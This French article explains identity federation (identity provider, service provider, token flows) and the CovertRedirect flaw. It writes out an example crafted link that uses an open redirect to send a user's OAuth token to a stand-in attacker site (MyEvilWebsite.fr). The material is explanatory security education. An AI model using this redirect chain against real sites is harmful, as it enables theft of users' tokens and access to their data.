La fédération d’identité
Qu’est-ce que la fédération d’identités ?
En quoi centraliser les données est essentiel pour les entreprises ? Décryptage avec notre expert cybersécurité.
Principe de base
La fédération d’identités est un concept qui vise à mettre en place une centralisation des données, et notamment des données d’identité, au sein d’un domaine informatique. Ainsi un utilisateur ne se connectera qu’une unique fois par session auprès d’une structure reconnue qui lui fournira la preuve de son identité (sous forme de jeton). L’utilisateur le présentera aux autres ressources qui souhaitent s’assurer de son identité, sans qu’il n’ait à dérouler une nouvelle procédure d’authentification. Qui dit une seule authentification (dite primaire), dit un seul mot de passe. Il est alors plus facile d’appliquer une politique de renouvellement et complexité sans se confronter aux utilisateurs récalcitrants. La fédération d’identités permet également de centraliser les données d’un utilisateur (comme son adresse mail de contact, un nom, une langue). Ces données sont appelées “attributs” et leur centralisation permet, entre autres, de les modifier plus facilement.
Les acteurs
Dans un schéma en fédération d’identités, il est nécessaire de reconnaître trois acteurs et d’identifier les différents flux entre eux :
- L’utilisateur : il s’agît de la personne qui interagit via son navigateur web. Il a une unique identité numérique associée à plusieurs attributs et souhaite accéder à une application protégée.
- Le fournisseur d’identité : il est l’élément central de l’architecture. Il est chargé d’authentifier les utilisateurs. Il vérifie les facteurs d’authentification de l’utilisateur et fournit la preuve de son identité. Il est aussi en charge des autorisations d’accès aux attributs. On parle également d’Identity Provider – IdP.
- Le fournisseur de service : il s’assure de l’identité de l’utilisateur et peut avoir besoin des attributs de l’utilisateur. On parle également de Service Provider – SP.
Les flux
Ces différents acteurs interagissent entre eux pour, in fine, autoriser l’accès à l’utilisateur. Requête client, réponse avec jeton… Voici les étapes clés :
- Requête client : l’utilisateur demande l’accès à un service protégé par une authentification ;
- Redirection : le fournisseur de service redirige l’utilisateur vers le fournisseur d’identité pour qu’il puisse s’authentifier ;
- Authentification : l’utilisateur s’authentifie (il justifie de son identité) à l’aide des facteurs d’authentification compatibles avec la méthode en place (login/mot de passe, clé, OTP …) ;
- Réponse avec jeton : le fournisseur d’identité redirige l’utilisateur vers le fournisseur de service accompagné du jeton attestant de son identité ;
- Accès à l’application : le fournisseur de service évalue le jeton et autorise l’accès de l’utilisateur.
Focus sur la vulnérabilité “CovertRedirect”
Présentation
Ces redirections rendent les flux transparents pour l’utilisateur. Or une redirection mal gérée peut être exploitée par un attaquant pour lui permettre de rediriger l’utilisateur vers un site malveillant (phishing ou téléchargement de malware). CovertRedirect n’est pas une vulnérabilité protocolaire mais bien une vulnérabilité touchant l’implémentation des protocoles qui est faite sur certains services.
L’exploitation de redirection est un problème bien connu : OpenRedirect1, vulnérabilité des redirections est classé dans le top 10 OWASP depuis 2010.
Cette faille vise les sites qui comportent des liens de cette forme :
siteWeb.com/Other/Path?redirectionVers=UneAutrePageOuUnAutreSite
Ces liens permettent aux applications d’effectuer un traitement (côté serveur) avant de rediriger l’utilisateur vers la ressource souhaitée définie en tant que paramètre dans l’URL (comme une destruction de session avant une redirection vers la page d’accueil sur un bouton « log off » par exemple).
Dans la majorité des cas, ces liens proviennent d’une mauvaise conception, et leur implémentation est fortement déconseillée. SiteWeb.com peut alors servir de relais pour un phishing. par exemple, un attaquant peut forger un lien de type :
siteWeb.com/Other/Path?redirectionVers=UnSiteCorrompu.com
CoverRedirect : historique
CovertRedirect est apparu au printemps 2014, mise en évidence par Wang Jing, doctorant à l’université de nouvelles technologies de Nanyang à Singapour. L’impact de cette vulnérabilité est d’abord estimé comme important car une grande partie des géants du web seraient impliqués (GAFA, LinkedIn, Yahoo, Live, GitHub). Puis dans un second temps les spécialistes se rétractent pour finalement minimiser son impact [2].
CovertRedirect qui exploite la présence d’OpenRedirect sur des sites impliqués dans la fédération d’identités. Comment opère-t-elle ? Pour mieux la comprendre, mettons nous en situation. Un utilisateur souhaite s’authentifier sur un site monSiteWeb.com à l’aide de son identité gérée par le site myGreatIdP.com
L’utilisateur se connecte au client monSiteWeb.com [1] qui va envoyer l’utilisateur faire la demande d’authentification sur le serveur cible. Pour cela il redirige l’utilisateur [2] sur une URL de type :
myGreatIdP.com/dialog/authen?redirect=monSiteWeb.com/UserProfile?scope=DroitsDuJeton&client_id=11
monSiteWeb.com/UserProfile est l’adresse sur laquelle le serveur attend la réponse d’authentification.
L’utilisateur s’authentifie sur myGreatIdP.com [3] qui le redirige [4] vers :
monSiteWeb.com/UserProfile?token=ValeurDuJeton
monSiteWeb.com peut maintenant utiliser ce jeton pour identifier l’utilisateur et lui fournir l’accès demandé [5].
Maintenant dans le cas où monSiteWeb.com contient une redirection sur
monSiteWeb.com/LogOff?GoTo=HomePage.html
Un attaquant peut exploiter CovertRedirect en faisant cliquer un utilisateur sur un lien de ce type :
myGreatIdP.com/dialog/authen?redirect=monSiteWeb.com/LogOff?GoTo=MyEvilWebsite.fr/Input/CovertRedirect&response_type=token?scope= DroitsDuJeton&client_id=11
On y retrouve :
- l’application,
- le fournisseur d’identité,
- un serveur malveillant.
C’est l’étape 1 de l’attaque.
L’utilisateur se retrouve alors sur myGreatIdP.com qui lui demande de s’authentifier pour le site monSiteWeb.com [2].
Il est alors redirigé par l’IdP vers la page de redirection monSiteWeb.com [3]
monSiteWeb.com/LogOff?GoTo=MyEvilWebsite.fr/Input/CovertRedirect?token=ValeurDuJeton
Le site fera les traitements de LogOff (destruction de session par exemple) et rédigera l’utilisateur (à cause de sa vulnérabilité OpenRedirect) vers
MyEvilWebsite.fr/Input/CovertRedirect?token=ValeurDuJeton
L’attaquant aura alors dans les logs du serveur la valeur du jeton. Il peut sous certaines conditions réutiliser ce jeton pour accéder en lecture (ou écriture parfois) aux données de l’utilisateur.
La fédération d’identités : un facteur multiplicateur d’impact ?
Dans un schéma en fédération d’identités, les murs internes au SI peuvent être vus comme plus fins, et le poids portée par l’authentification plus lourd. Ainsi, la fédération d’identités peut être vue comme un facteur multipliant les impacts d’une possible attaque. Si l’identité d’un des utilisateurs est compromise, ses accès à l’ensemble des applications du périmètre seront affectés. Si un incident intervient sur la brique d’authentification, l’ensemble de mes utilisateurs seront concernés. Il est donc essentiel de pouvoir gérer ces potentiels incidents en intégrant des mécanismes de hautes disponibilités et en renforçant la sécurité de l’authentification.
En réalité, la fédération d’identités doit plutôt être vue comme un simplificateur du SI, et les vulnérabilités structurelles ou protocolaires y sont plutôt rares. Les identités et habilitations seront administrées centralement, et les utilisateurs ne seront plus obligés de manipuler une multitude d’identifiants et de mots de passe (parfois auto-synchronisés). Ces projets nécessitent une grande implication de l’ensemble des métiers de l’entreprise, mais simplifiera l’expérience utilisateurs et pourra permettre de faire appliquer certaines contraintes de sécurité propres aux secteurs et métiers.
Références
